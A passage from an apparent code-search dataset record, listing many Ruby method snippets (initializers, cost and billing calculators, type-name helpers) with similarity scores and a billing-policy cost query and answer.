@@aws_config['region'] = Config[:cloudformation][:region]\n debug(\"Hiera cloudformation backend loaded\")\n end",
"def initialize(connect_hash)\n @mysql = Mysql2::Client.new(connect_hash)\n @batch_size = ENV['BATCH_SIZE'].to_i || DEFAULT_BATCH_SIZE\n @last_cause_id = ENV['LAST_CAUSE_ID']\n end",
"def initialize\n @id = self.class.uid\n @connections = Connections.new({}, {}, {})\n @error = Error.new(0.0, 0.0, 0.0)\n @trace = Trace.new({}, {}, {})\n\n @state = @old = @activation = 0.0\n @selfconnection = Synaptical::Connection.new(self, self, 0.0)\n @squash = Synaptical::Squash::Logistic\n @neighbors = {}\n @bias = rand * 0.2 - 0.1\n end",
"def initialize\n self.context = Context.new\n end",
"def initialize(computation)\n self.computation = computation\n self.transaction = ::Concord::Thrift::ComputationTx.new\n self.transaction.records = []\n self.transaction.timers = {}\n end",
"def initialize_devices\n count = workers * devices\n client = Client.new(base_url, max_concurrency: [count, 200].min) # Typheous gets flaky above 200\n if end_point.nil?\n update(end_point: EndPoint.find_or_create_by(base_url: base_url))\n end\n log \"setup\", \"Checking for #{count} generated devices in the local database.\"\n end_point.generate_devices(count) {|progress| log \"setup\", \"Devices: #{progress}\" }\n log \"setup\", \"Checking for #{count} logged in users.\"\n end_point.register_and_login_devices client,\n ->(r) { log \"setup\", \"Warm-up completed!\";r },\n ->(r) { log_error \"setup\", \"Device registration or login failed: #{r}\" }\n end",
"def initialize\n logfile = \"log/fetch-legistar.log\"\n @file_log = Logger.new(logfile)\n @log.level = Logger::DEBUG\n @file_log.level = Logger::DEBUG\n @@base_url = \"http://webapi.legistar.com\"\n # extras: any additional parameters that should be set on each object (optional)\n @@extras = nil\n @@wait = 0.5 # seconds to wait between fetching\n\n @@connection = Faraday.new(url: @@base_url) do |conn|\n conn.headers[\"Accept\"] = \"text/json\"\n conn.request :instrumentation\n conn.response :json\n conn.adapter Faraday.default_adapter\n conn.request :retry, max: 5, interval: 0.05, interval: 0.05, interval_randomness: 0.5, backoff_factor: 2\n end\n\n @log.info(\"Connection opened to #{@@base_url} and logging to #{logfile}\")\n end",
"def initialize\n\t\t@counter = 0\n\t\t@initial_usage = nil\n\tend",
"def initialize\n reset!\n end",
"def initialize\n reset!\n end",
"def initialize\n\t@read_q = Queue.new\n\t@conn = nil\n end",
"def initialize\n @allocations = {}\n @http_server = BeEF::Core::Server.instance\n @root_dir = File.expand_path('../../../../', __FILE__)\n end",
"def initialize\n self.cache_ttl = 60\n self.api_path = 'https://api-pl.easypack24.net/v4/'\n end",
"def initialize\n reset\n \tend",
"def initialize\n # Create the configuration object\n @config = Configuration.new Client.configure\n\n # Yield the configuration if needed\n yield @config if block_given?\n\n # Create credentials\n credentials = @config.credentials\n # Use self-signed JWT if the endpoint is unchanged from default,\n # but only if the default endpoint does not have a region prefix.\n enable_self_signed_jwt = @config.endpoint == Configuration::DEFAULT_ENDPOINT &&\n !@config.endpoint.split(\".\").first.include?(\"-\")\n credentials ||= Credentials.default scope: @config.scope,\n enable_self_signed_jwt: enable_self_signed_jwt\n if credentials.is_a?(::String) || credentials.is_a?(::Hash)\n credentials = Credentials.new credentials, scope: @config.scope\n end\n\n @quota_project_id = @config.quota_project\n @quota_project_id ||= credentials.quota_project_id if credentials.respond_to? :quota_project_id\n\n @operations_client = ::Google::Cloud::BareMetalSolution::V2::BareMetalSolution::Rest::Operations.new do |config|\n config.credentials = credentials\n config.quota_project = @quota_project_id\n config.endpoint = @config.endpoint\n end\n\n @location_client = Google::Cloud::Location::Locations::Rest::Client.new do |config|\n config.credentials = credentials\n config.quota_project = @quota_project_id\n config.endpoint = @config.endpoint\n config.bindings_override = @config.bindings_override\n end\n\n @iam_policy_client = Google::Iam::V1::IAMPolicy::Rest::Client.new do |config|\n config.credentials = credentials\n config.quota_project = @quota_project_id\n config.endpoint = @config.endpoint\n end\n\n @bare_metal_solution_stub = ::Google::Cloud::BareMetalSolution::V2::BareMetalSolution::Rest::ServiceStub.new endpoint: @config.endpoint, credentials: credentials\n end",
"def init\n end",
"def init\n end"
] |
[
"0.66455775",
"0.64023906",
"0.62130326",
"0.6180118",
"0.6168774",
"0.6160818",
"0.613698",
"0.6104816",
"0.609717",
"0.60814637",
"0.60731286",
"0.6056982",
"0.60249364",
"0.6006676",
"0.60053176",
"0.6002044",
"0.5999935",
"0.5997332",
"0.599696",
"0.599696",
"0.5993939",
"0.5969145",
"0.59604657",
"0.5956643",
"0.59257203",
"0.5919746",
"0.5910169",
"0.5907066",
"0.5903396",
"0.58864975",
"0.58810735",
"0.58765054",
"0.58765054",
"0.58757764",
"0.58756566",
"0.5870499",
"0.58676517",
"0.5843222",
"0.5842492",
"0.5830332",
"0.58251315",
"0.58158237",
"0.5814788",
"0.5814769",
"0.5811475",
"0.58007056",
"0.57848597",
"0.57794476",
"0.57771623",
"0.57747126",
"0.5774438",
"0.57719994",
"0.57719994",
"0.5771784",
"0.577127",
"0.57693166",
"0.57575697",
"0.57575697",
"0.57575697",
"0.57575697",
"0.5741786",
"0.57389194",
"0.57356685",
"0.5728095",
"0.5720853",
"0.5717471",
"0.571709",
"0.5711767",
"0.57107425",
"0.57101494",
"0.57081413",
"0.5702787",
"0.57021",
"0.5699169",
"0.569885",
"0.5697295",
"0.56928825",
"0.569084",
"0.5688451",
"0.5682837",
"0.56736577",
"0.5673238",
"0.56721354",
"0.56717086",
"0.5668837",
"0.566302",
"0.56601334",
"0.56600803",
"0.565898",
"0.56588006",
"0.56555635",
"0.5652855",
"0.5650593",
"0.5650593",
"0.5646843",
"0.56459236",
"0.5645832",
"0.5643939",
"0.5643543",
"0.56405777",
"0.56405777"
] |
0.0
|
-1
|
Returns the cost for a particular resource over some duration in seconds. ALL BILLING POLICY SUBCLASSES SHOULD OVERRIDE THIS METHOD
|
def get_cost_for_duration(resource, duration) ; 1.0 end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def cost_item(time_entry)\n if User.current.logged? && (User.current.allowed_to?(:view_rate, time_entry.project) || User.current.admin?)\n return time_entry.cost\n else\n return nil\n end\n end",
"def get_cost_for_duration(rds_server, duration)\n CENTS_PER_GB_PER_MONTH[zone_setting(rds_server)] *\n rds_server.allocated_storage * duration / SECONDS_PER_MONTH\n end",
"def cost(meth)\n @costs[meth][\"cost_per_call\"] / 100.0 rescue 0.0\n end",
"def cost\n deductible * RATE\n end",
"def cost\n self[:cost].to_f\n end",
"def capacity_to_demand_multiplier\n 3600.0\n end",
"def cost\n # Todo pull this from the DB\n 1000\n end",
"def getcost()\n return @cost\n end",
"def cost \n return @extra_cost + @basic_inst.cost\n end",
"def cost\n @cost ||= calibrate_cost\n end",
"def cost\n return @cost\n end",
"def cost\n return @cost\n end",
"def get_cost_for_duration(s3_bucket, duration)\n CENTS_PER_GB_PER_MONTH[zone(s3_bucket)] * total_size(s3_bucket) *\n duration / SECONDS_PER_MONTH\n end",
"def usage_cost\n @attributes[:usage_cost]\n end",
"def cost\n return @extra_cost + @basic_booking.cost\n end",
"def leak_rate\n capacity.to_f / period\n end",
"def cost\r\n\t\treturn @extra_cost + @real_need.cost\r\n\tend",
"def get_cost candidate\n raise NoMethodError, 'get_cost should be defined in subclass of HillClimb'\n end",
"def calc_item_cost(skill)\n cost = skill.consume_item_n\n cost *= skill.target_number if skill.multiply_per_target\n cost /= 2 if half_mp_cost && cost > 1\n cost\n end",
"def cost \n return @extra_cost + @basic_booking.cost\n end",
"def cost \n return @extra_cost + @basic_booking.cost\n end",
"def actual_cost\n self.cost/1000.to_f\n end",
"def cost\n @cost ||= 10\n end",
"def cost \n return @extra_cost + @basic_transfer.cost\n end",
"def capacity_to_demand_multiplier\n 8760.0\n end",
"def cost\n 0.89\n end",
"def cost\n raise NotImplementedError, \"#{self.class} has not implemented method '#{__method__}'\"\n end",
"def cost\n (@items_cost - @promotion_adjustment).round(2)\n end",
"def production_cost\n reagent_reference.production_cost * quantity\n end",
"def build_cost\n\t\tRails.cache.fetch(\"car.build_cost.#{self.id}\", expires_in: 1.hour) {\n modifications.sum(:price) + price\n }\n\tend",
"def capacity_costs\n fetch(:capacity_costs) do\n if fixed_costs_per_mw_input_capacity\n fixed_costs_per_mw_input_capacity * input_capacity\n else\n 0.0\n end\n end\n end",
"def capacity_to_demand_multiplier\n 1.0\n end",
"def cost\n purchase_cost\n end",
"def cost\n purchase_cost\n end",
"def cost()\n unless @cost\n @cost = @description.inject(0) do |val, el|\n val + ((el.nil? || el.to_s.end_with?('?')) ? 1 : 0.1)\n end\n end\n @cost\n end",
"def cost\n super + 0.10\n end",
"def cost\n super + 0.10\n end",
"def cost\n 0.99\n end",
"def cost\n super + 0.15\n end",
"def cost\n @cost = 0.89\n end",
"def cost\n super + 0.20\n end",
"def cost_of_parking(entry_time, exit_time)\n duration = exit_time - entry_time\n billable_hours = [(duration / 3600.0).ceil, 1].max\n\n billable_hours * @hourly_cost\n end",
"def cost \n return @extra_cost + @basic_prescription.cost\n end",
"def cost_for_hours(hours)\n if hours >= 6\n charge = @parking_space[:price][:daily]\n else\n charge = @parking_space[:price][:hourly] * hours\n end\nend",
"def worth_at_cost\n worth= cost*quantity\n return worth\n end",
"def skill_tp_cost(skill)\r\n skill.tp_cost\r\n end",
"def cost\n 1.99\n end",
"def product_cost_for_retailer\n product_costs = variant.product_costs.where(:retailer_id => order.retailer_id)\n cost = product_costs.empty? ? 0 : product_costs.first.cost_price * quantity\n update_attribute_without_callbacks(:product_cost_for_retailer, cost)\n return cost\n end",
"def _calc_delivered_cost task, opts\n if task.work_finished_at <= task.delivered_at\n _to_hours(task.delivered_at - task.work_started_at, opts)\n else\n _to_hours(task.delivered_at - task.work_started_at + 5 * (task.work_finished_at - task.delivered_at), opts)\n end\n end",
"def cost\n start_value\n end",
"def cost\n @beverage.cost + 0.10\n end",
"def cost\n @beverage.cost + 0.10\n end",
"def cost \n return @extra_cost + @basic_drug.cost\n end",
"def calculate_carrier_demand\n demand_curve.sum * 3600\n end",
"def capacity( resource = :deuterium )\n\t\t@resources[ resource ][ :capacity ]\n\tend",
"def cost_difference\n cost - estimated_cost\n end",
"def cost\n @cost = 1.99\n end",
"def cost\n @cost = 0.99\n end",
"def reward_cost(klass, options={})\n options.reverse_merge!(:count => 1, :level => 1)\n\n metal_cost = klass.metal_cost(options[:level])\n energy_cost = klass.energy_cost(options[:level])\n zetium_cost = klass.zetium_cost(options[:level])\n\n reward_metal metal_cost * options[:count] if metal_cost > 0\n reward_energy energy_cost * options[:count] if energy_cost > 0\n reward_zetium zetium_cost * options[:count] if zetium_cost > 0\n end",
"def required_cost\n return nil unless payment_for && (payment_for.is_a?(Invite) || payment_for.is_a?(UserKroog))\n return payment_for.amount_usd.to_f\n end",
"def cost \n return @extra_cost + @basic_tran.cost\n end",
"def cost\n @beverage.cost + 0.15\n end",
"def cost\n @beverage.cost + 0.20\n end",
"def cost=(value)\n @cost = value\n end",
"def cost=(value)\n @cost = value\n end",
"def production_cost\n price = use_vendor_price? ? item.price : self.price\n price * quantity\n end",
"def cost_of_capital\n fetch(:cost_of_capital) do\n if technical_lifetime.zero?\n raise IllegalZeroError.new(self, :technical_lifetime)\n end\n\n average_investment * wacc *\n (construction_time + technical_lifetime) / # syntax\n technical_lifetime\n end\n end",
"def direct_costs_for_one_time_fee\n # TODO: It's a little strange that per_unit_cost divides by\n # quantity, then here we multiply by quantity. It would arguably be\n # better to calculate total cost here in its own method, then\n # implement per_unit_cost to call that method.\n num = self.quantity || 0.0\n num * self.per_unit_cost\n end",
"def duration_cost(days = days_needed)\n days = 0 if days.nil?\n if days == 3\n cost = 0\n elsif days > 3 && days <= 7\n cost = 100 * days\n elsif(days > 7)\n cost = 700 + (50 * days)\n end\n end",
"def cost\n\t\treturn @extra_cost + @real_donation.cost\n\tend",
"def _item_price_with_capacity(which_category, capacity)\n _item_prices_in_category(which_category).find { |item_price| item_price['item']['capacity'].to_i == capacity}\n end",
"def total_cost\n return (date_range.end_date - date_range.start_date) * (200 * (1 - discount))\n end",
"def total_cost\n @quantity * @price\n end",
"def total_cost\n product.cost * quantity\n end",
"def indirect_cost_rate\n if USE_INDIRECT_COST\n self.service_request.protocol.indirect_cost_rate.to_f / 100\n else\n return 0\n end\n end",
"def cost\r\n return @extra_cost + @basic_shifted.cost\r\n end",
"def unit_cost_price\n self[:cost_price] || unit_price - application_fee\n end",
"def effective_rate; end",
"def theCost\n # calculate the energy in kWh used in 24 hours at this power level\n # using (24x60x60 secs/day)/(1000x60x60 J/kWh) = 0.024 (kWh/day)/W\n kWh_per_day = 0.024*power\n # convert to an equivalent cost in cents\n return kWh_per_day*ATHOME['energy_cost']\n end",
"def parts_cost\n begin\n @parts_cost = ::FishbowlPartsCost.cost_for(self.id).cost\n rescue ActiveResource::ResourceNotFound\n @parts_cost = BigDecimal.new('0.0')\n end\n @parts_cost\n end",
"def _calc_inProgress_cost task, opts\n if task.terminated_at\n _to_hours(5 * (task.terminated_at - task.work_started_at), opts)\n elsif task.delivered_at.nil?\n _to_hours(Time.now - task.work_started_at, opts) \n else\n _to_hours(task.delivered_at - task.work_started_at + 5 * (task.work_finished_at - task.delivered_at), opts)\n end\n end",
"def cost class_name, race\n\t\tif @prohibits != nil and (@prohibits.include?(race) or @prohibits.include?(class_name))\n\t\t\treturn nil\n\t\tend\n\t\tif !@cost.is_a? Hash\n\t\t\treturn @cost\n\t\tend\n\t\t# Allowed, but discouraged. It's preferable to define racial changes to skill costs through the\n\t\t# race section.\n\t\tif @cost.has_key? \"#{race} #{class_name}\"\n\t\t\treturn @cost[\"#{race} #{class_name}\"]\n\t\tend\n\t\tif @cost.has_key? race\n\t\t\treturn @cost[race]\n\t\tend\n\t\tif @cost.has_key? class_name\n\t\t\treturn @cost[class_name]\n\t\tend\n\n\t\t# Cost not found: This is our way of throwing an error\n\t\treturn nil\n\tend",
"def get_cost\n time_range = {}\n if reserv_range.end.day - reserv_range.begin.day == 1\n time_range[reserv_range.begin.wday] = (\n ((reserv_range.begin.hour * 60 + reserv_range.begin.min) / 60.0)...24.0\n )\n\n time_range[reserv_range.end.wday] = (0.0...(reserv_range.end.hour * 60 + reserv_range.end.min) / 60.0)\n else\n time_range[reserv_range.end.wday] = (((reserv_range.begin.hour * 60 + reserv_range.begin.min) / 60.0)...(reserv_range.end.hour * 60 + reserv_range.end.min) / 60.0)\n end\n\n cost_sum = 0\n\n time_range.each do |wday, tr|\n billings = Billing\n .select(\n \"numrange(start_time, end_time) * numrange(#{tr.begin},#{tr.end}) as period, cost_cents, cost_currency\"\n )\n .where(\n 'numrange(start_time, end_time) && numrange(:start, :end) AND day_type = :day_type AND sauna_id = :sauna_id',\n start: tr.begin,\n end: tr.end,\n day_type: wday,\n sauna_id: sauna_id\n )\n\n # puts billings.to_sql\n\n billings.each do |bill|\n cost_sum += (bill.period.end - bill.period.begin) * bill.cost_cents\n end\n end\n\n cost_sum\n end",
"def cost\n\t\treturn @extra_cost + @real_shake.cost\n\tend",
"def update_target_cost\n cost = BigDecimal(0.00, 10)\n self.activities.each do |activity|\n cost += activity.targetCost\n end\n self.target_cost = cost\n end",
"def total_cost\n quantity * product.price\n end",
"def total_cost\n quantity * product.price\n end",
"def total_cost\r\n self.qty * self.price\r\n end",
"def storage_cost(storage_id)\n\t\t\n\tend",
"def cost_of_cable(length)\n\t\tmeter = length * 0.01\n\t\tdollar = [meter * 0.4079 + 0.5771, meter * 0.0919 + 7.2745].min * BANDWIDTH\n\t\t(dollar * 100).round.to_f / 100\n\tend",
"def skill_tp_cost(skill)\n return 0\n end",
"def per_unit_cost(quantity_total=self.quantity, appointment_completed_date=nil)\n if quantity_total == 0 || quantity_total.nil?\n 0\n else\n # Calculate the total number of packages that must be purchased.\n # If the quantity requested is not an even multiple of the number\n # of units per package, then we have to round up, so that a whole\n # number of packages is being purchased.\n packages_we_have_to_get = (quantity_total.to_f / self.units_per_package.to_f).ceil\n\n # The total cost is the number of packages times the rate\n total_cost = packages_we_have_to_get.to_f * self.applicable_rate(appointment_completed_date).to_f\n\n # And the cost per quantity is the total cost divided by the\n # quantity. The result here may not be a whole number if the\n # quantity is not a multiple of units per package.\n ret_cost = total_cost / quantity_total.to_f\n\n # Cost per unit is equal to cost per quantity times units per\n # quantity.\n unless self.units_per_quantity.blank?\n ret_cost = ret_cost * self.units_per_quantity\n end\n return ret_cost\n end\n end",
"def get_reservation_cost\n total_cost = @number_nights * @cost_per_night\n return total_cost\n end",
"def cost\n cost = 0\n @solution.each { |route| cost += route.travel_time_and_cost[0] }\n return cost\n end",
"def billable_allocation\n if (billing_rate && billing_rate>0)\n if on_demand\n return 20;\n else\n return percentage_allocation;\n end\n else\n return 0 \n end\n end",
"def activation_cost\n @attributes[:activation_cost]\n end",
"def effective_duration\n if start_time.nil?\n accommodated_duration\n else\n effective_end_time - start_time\n end\n end",
"def cost\r\n 0\r\n end",
"def travel_cost( dest )\n sp = shortest_path( dest )\n path_cost( sp )\n end",
"def details\n return @description + \"; is set to: \" + \"#{@duration}\" + \"hour - at a cost of: \" + \"#{@cost}\"\n end"
] |
[
"0.6435194",
"0.6388575",
"0.63044333",
"0.6247949",
"0.61560947",
"0.61206895",
"0.6092066",
"0.603561",
"0.60191697",
"0.60113394",
"0.59981644",
"0.59981644",
"0.5982747",
"0.5955256",
"0.59534687",
"0.5890761",
"0.5880231",
"0.58663607",
"0.5865109",
"0.5840298",
"0.5840298",
"0.5778915",
"0.5777644",
"0.5762359",
"0.5738708",
"0.57327265",
"0.57140696",
"0.56953615",
"0.5690866",
"0.5674714",
"0.56745124",
"0.5655843",
"0.5646663",
"0.5646663",
"0.5633826",
"0.5625058",
"0.5625058",
"0.5622202",
"0.56160533",
"0.56070876",
"0.5603346",
"0.560119",
"0.5598149",
"0.55956215",
"0.5588612",
"0.5580197",
"0.5562462",
"0.555937",
"0.55575985",
"0.5554094",
"0.5549713",
"0.5549713",
"0.55348665",
"0.5509955",
"0.55091727",
"0.5504847",
"0.54925954",
"0.5481444",
"0.5458362",
"0.54468083",
"0.5445854",
"0.54451174",
"0.54433817",
"0.5418361",
"0.5418361",
"0.5412386",
"0.5406623",
"0.5406148",
"0.54014075",
"0.5393154",
"0.53818166",
"0.53779435",
"0.5376162",
"0.537506",
"0.536438",
"0.5359893",
"0.5358249",
"0.53543365",
"0.53406453",
"0.5339654",
"0.5334085",
"0.53283083",
"0.5326198",
"0.5320221",
"0.531506",
"0.5315042",
"0.5315042",
"0.53123534",
"0.5311476",
"0.53096193",
"0.5289584",
"0.52829945",
"0.5277872",
"0.527097",
"0.5269445",
"0.52679896",
"0.52578396",
"0.5244368",
"0.52378696",
"0.5233129"
] |
0.84995687
|
0
|
Returns the default billing type for this policy. Override this to set a humanreadable name for the policy. Defaults to the last part of the subclass name.
|
def billing_type
self.class.name.split('::').last #(defaluts to class name)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def polymorphic_name\n store_full_class_name ? base_class.name : base_class.name.demodulize\n end",
"def payment_type_display\n self.payment_type.to_s.titleize\n end",
"def default_type_label(type)\n type.name.gsub(/::/, '_').underscore\n end",
"def get_account_payment_type\n self.le_account_payment_type.nil? ? \"\" : self.le_account_payment_type.name\n end",
"def payment_type_display\n self.payment_type.to_s.titleize\n end",
"def payment_type_display\n self.payment_type.to_s.titleize\n end",
"def class_name\n (self.type.to_s || self.class.name).demodulize\n end",
"def type_name\n @type_name ||= self.name.demodulize.underscore\n end",
"def payment_type_s\n self.payment_type.to_s.titleize\n end",
"def caprese_type\n self.name.underscore\n end",
"def default_name(type)\n name = \"#{type}_#{@number_of_defaults_created[type]}\"\n @number_of_defaults_created[type] += 1\n name\n end",
"def type_name\n self.class.name.split('::').last.upcase\n end",
"def _default_type_name\n if to_s.end_with?('::Collection_')\n _name = to_s.gsub(\n 'Serializer', ''\n ).gsub(\n '::Collection_', ''\n ).downcase.split('::')[-1]\n\n \"#{_name}_collection\".to_sym\n else\n to_s.gsub('Serializer', '').downcase.split('::')[-1].to_sym\n end\n end",
"def maximum_billing_tier\n @gapi.configuration.query.maximum_billing_tier\n end",
"def type_name\n @type_name ||= name.underscore\n end",
"def sg_base_class_name # :nodoc:\n @sg_base_class_name ||= self.base_class.name\n end",
"def preferred_payment_method_name\n case self.preferred_payment_method.to_s\n when /debit/ then \"Zahlung per Lastschrift\"\n when /invoice/ then \"Zahlung per Rechnung\"\n when /paypal/ then \"Zahlung per Paypal\"\n end\n end",
"def payment_type\n @payment_object ? PaymentMethod.payment_type(@payment_object) : @payment_type || :piggy_bank\n end",
"def default_model_name\n @object.class.to_s\n end",
"def name\n self.class.name || self.class.to_s\n end",
"def get_type_name\n\t\treturn campaign_type.type_name\n\tend",
"def type\n self.class.class_name.downcase\n end",
"def default_name\n return unless name\n Dry::Core::Inflector.underscore(name).tr('/', '_').to_sym\n end",
"def gateway_class\n @gateway_class ||= \"Webapps::Gateway::#{self.class.name.split('::').last}::#{@gateway_type.titleize}\".constantize\n end",
"def default_name\n @default_name ||= \"__#{name}_default__\"\n end",
"def billing_rate_type=(billing_rate_type)\n validator = EnumAttributeValidator.new('String', [\"WorkRole\", \"StaffMember\"])\n unless validator.valid?(billing_rate_type)\n fail ArgumentError, \"invalid value for 'billing_rate_type', must be one of #{validator.allowable_values}.\"\n end\n @billing_rate_type = billing_rate_type\n end",
"def getBaseTypeName(var)\n nsPrefix = \"\"\n langType = @langProfile.getTypeName(var.getUType())\n\n if (var.utype != nil) # Only unformatted name needs styling\n baseTypeName = CodeNameStyling.getStyled(langType, @langProfile.classNameStyle)\n else\n baseTypeName = langType\n end\n\n if var.namespace.hasItems?()\n nsPrefix = var.namespace.get(\"::\") + \"::\"\n baseTypeName = nsPrefix + baseTypeName\n end\n\n return baseTypeName\n end",
"def type\n # If we know for sure its a backup\n if self.p_s_b == \"B\"\n return \"Backup\"\n else\n pmr = self.pmr\n param = self.to_param\n # Otherwise, try and figure out\n case param\n when pmr.primary_param\n return \"Primary\"\n when pmr.secondary_1_param\n return \"Sec 1\"\n when pmr.secondary_2_param\n return \"Sec 2\"\n when pmr.secondary_3_param\n return \"Sec 3\"\n else\n return \"Backup\"\n end\n end\n end",
"def payer_name\n\t\tif payment_instrument_type == 'paypal_account'\n\t\t\treturn payer_first_name + \" \" + payer_last_name\n\t\telse\n\t\t\tif billing_last_name.nil? || billing_first_name.nil?\n\t\t\t\treturn \"Unspecified\"\n\t\t\telse\n\t\t\t\treturn billing_first_name + \" \" + billing_last_name\n\t\t\tend\n\t\tend\n\tend",
"def policy_class_name\n \"#{model.name.as_constant}Policy\"\n end",
"def product_type_name\n self.product_type ? self.product_type.name : NOT_SET\n end",
"def full_item_type_name\n prefix = ''\n prefix = \"#{self.class.implementation_prefix.ns_underscore}__\" if self.class.implementation_prefix.present?\n\n \"#{prefix}#{implementation_model_name}\"\n end",
"def type_name\n @type_name ||= StringHelpers.underscore(StringHelpers.demodulize(@value.class.name)).to_sym\n end",
"def billing_name\n company.blank? ? full_name : \"#{full_name} (#{company})\"\n end",
"def name\n type.to_s.capitalize\n end",
"def human_name\n if respond_to?(:rec_type) && rec_type\n rec_type.underscore.humanize.captionize\n else\n self.class.human_name\n end\n end",
"def human_name\n if respond_to?(:rec_type) && rec_type\n rec_type.underscore.humanize.captionize\n else\n self.class.human_name\n end\n end",
"def wallet_type()\n type = Spree::PAYONE::Utils::WalletType.validate(@wallet_type)\n if type != nil\n return type\n else\n return ''\n end\n end",
"def type\n return :basic if @is_basic\n return :platinum if @is_platinum\n return :centurion if @is_centurion\n return :premium if @is_premium\n :unknown\n end",
"def name\n Properties[self.class] ||= {}\n return Properties[self.class][:name] || \"\"\n end",
"def base_name\n name\n end",
"def plan_type\n plan_type_config = facility.plan_type.to_s.downcase.gsub(' ', '_')\n if plan_type_config == 'payer_specific_only'\n output_plan_type = payer.plan_type.to_s if payer\n output_plan_type = 'ZZ' if output_plan_type.blank?\n else\n if eob.claim_information && !eob.claim_information.claim_type.blank?\n output_plan_type = eob.claim_information.plan_type\n elsif eob.claim_information.blank? && eob.claim_type == \"Secondary\"\n output_plan_type = \"CI\"\n else\n output_plan_type = eob.plan_type\n end\n end\n output_plan_type\n end",
"def plan_type\n return 'supporter' if owner.values[:paypal_active] == true\n return 'free' if owner.values[:plan_type].nil?\n return 'supporter' if owner.values[:plan_type].match /^plan_/\n return 'supporter' if owner.values[:plan_type] == 'special'\n owner.values[:plan_type]\n end",
"def business_type\n if self[:business_type] == nil\n return nil\n end\n return BusinessLicense.business_types[self[:business_type]]\n end",
"def price_type_name\n PRICE_TYPES[price_type.to_s]\n end",
"def class_name\n @class_name ||= derive_class_name\n end",
"def default_shipping_class\n shipping_zone.try(:default_shipping_class)\n end",
"def full_name\n klass.name\n end",
"def type\n name = self.class.name.split('::').last\n return '<type>' if name == 'Record'\n name\n end",
"def default_name\n debug(\"Instance name: #{instance.name}\")\n \"#{instance.platform.name}-#{Time.now.to_i}\"\n end",
"def payment_type\n payments.first.payment_type if payments\n end",
"def payment_type_t\n self.payment_type_s.t\n end",
"def class_name\n @class_name ||= (options[:class_name] || derive_class_name).to_s\n end",
"def class_name\n @class_name ||= (options[:class_name] || derive_class_name).to_s\n end",
"def billing_rate\n return_value =\n case project.billing\n when 'user'\n user.billing_rate\n when 'project'\n project.billing_rate\n when 'non_billable'\n 0\n else\n raise \"invalid billing option.\"\n end\n return return_value\n end",
"def account_type\n self.class.account_type\n end",
"def base_name\n @base_name ||= if base = name.to_s.split(\"::\").first\n base.underscore\n end\n end",
"def type\n self.class.name.split(':').last.downcase\n end",
"def default_backend\n attributes_class.defaults[:backend]\n end",
"def default_name\n [long_name, short_name].reject(&:empty?).first\n end",
"def type_as_class(resource_name)\n\t resource_name.singularize.capitalize.constantize\n\tend",
"def type(type = nil)\n @type = type if type\n @type || name.split('::').last.gsub(/Resource$/, '').underscore\n end",
"def type\n self.class.to_s.split('::').last.downcase.to_sym\n end",
"def subclass_assoc_name\n if type_name = send(self.type_attribute)\n type_name = type_name.underscore.to_sym\n subclass_types.include?(type_name) ? type_name : nil\n end\n end",
"def type\n klass = self.class.name\n if sep = klass.rindex('::')\n klass[(sep+2)..-1]\n else\n klass\n end.underscore.to_sym\n end",
"def base_type\n self\n end",
"def getBaseTypeName(var)\n nsPrefix = \"\"\n\n baseTypeName = \"\"\n if (var.vtype != nil)\n baseTypeName = @langProfile.getTypeName(var.vtype)\n else\n baseTypeName = CodeNameStyling.getStyled(var.utype, @langProfile.classNameStyle)\n end\n\n baseTypeName = nsPrefix + baseTypeName\n\n return baseTypeName\n end",
"def type\n return attributes['type'] if attributes['type']\n \n # Lookups are in order of preference so if, for example, you set the uri but display_name and id are also\n # set, we'd rather go with the canonical representation.\n if display_name && id\n 'CanonicalUser'\n elsif email_address\n 'AmazonCustomerByEmail'\n elsif uri\n 'Group'\n end\n end",
"def type\n self.class.name.downcase\n end",
"def preferred_name(default, preferred)\n if default.nil? && preferred.nil?\n 'No one'\n elsif preferred.nil?\n default\n else\n preferred\n end\n end",
"def name\n self.class.simple_name\n end",
"def name\n @type_name\n end",
"def initialize\n @type = self.class.to_s.demodulize.downcase\n end",
"def tab_name(type)\n case type\n when :browse\n model.class_name\n when :mtm_edit\n 'MTM'\n else\n type.to_s.capitalize\n end\n end",
"def klass(a_kind=:paypal)\n case a_kind\n when :paypal, 'paypal' then PaypalDepositAccount\n else\n DepositAccount\n end\n end",
"def my_type(type)\n case type\n when /bond/i\n \"Bonds\"\n when /stock/i\n \"Stocks\"\n when /alternative/i\n \"Alternatives\"\n else\n \"Unclassified\"\n end\n end",
"def policy_class\n @policy_class ||= Lookup::Policy.class_from_model(model_name)\n end",
"def policy_class\n @policy_class ||= Lookup::Policy.class_from_model(model_name)\n end",
"def get_plan_type(plan)\n plan_type_id = plan.plan_type_id\n PlanType.find(plan_type_id).type_name rescue nil\n end",
"def rateable_name\n rateable.name\n end",
"def type\n @type ||= self.class.name.split('::').last\n end",
"def base_class_name\n split('::').last\n end",
"def set_default_name \n self.name ||= \"Itinerary\" \n end",
"def default_lineage\n if parent.nil? then\n 'New'\n elsif specimen_characteristics.equal?(parent.specimen_characteristics) then\n 'Aliquot'\n else\n 'Derived'\n end\n end",
"def notable_type=(class_name)\n super(class_name.constantize.base_class.to_s)\n end",
"def format\n self.class.name.split('::').last.downcase.to_sym\n end",
"def type_name\n self['type_name']\n end",
"def super_class_name\n nil\n end",
"def type\n self_class.to_s.to_sym\n end",
"def determined_shipping_type\n if self.shipping_type == ShippingType::DEFAULT_SHIPPING\n return self.vendor.shipping_type\n else\n return shipping_type\n end\n end",
"def payment_type\n payments.first.payment_type if payments\n end",
"def payment_type\n payments.first.payment_type if payments\n end",
"def resource_klass_name\n resource_name.classify\n end",
"def name\n self.class.name\n end",
"def bike_type\n\t\tBike.find_by_id(self.bike_id).name\n\tend",
"def default_taxon_name(taxon, options = {})\n return '' unless taxon\n if options[:use_iconic_taxon_display_name] && taxon.is_iconic? && \n Taxon::ICONIC_TAXON_DISPLAY_NAMES[taxon.name]\n return Taxon::ICONIC_TAXON_DISPLAY_NAMES[taxon.name]\n end\n tn = TaxonName.choose_default_name(\n @taxon_names_by_taxon_id ? @taxon_names_by_taxon_id[taxon.id] : taxon.taxon_names\n )\n return \"\" unless tn\n return tn.name if tn.is_scientific_names?\n capitalize_name( tn.name )\n end",
"def set_account_type\n @account_type = account.class.to_s\n end",
"def offer_params_type\n self.class.name.demodulize.underscore\n end",
"def type_name_bill\n type_movement ? type_movement.name : 'N/a'\n end",
"def default_template_name\n @default_template_name ||= self.class.name.underscore.sub(/_resource$/, '')\n end"
] |
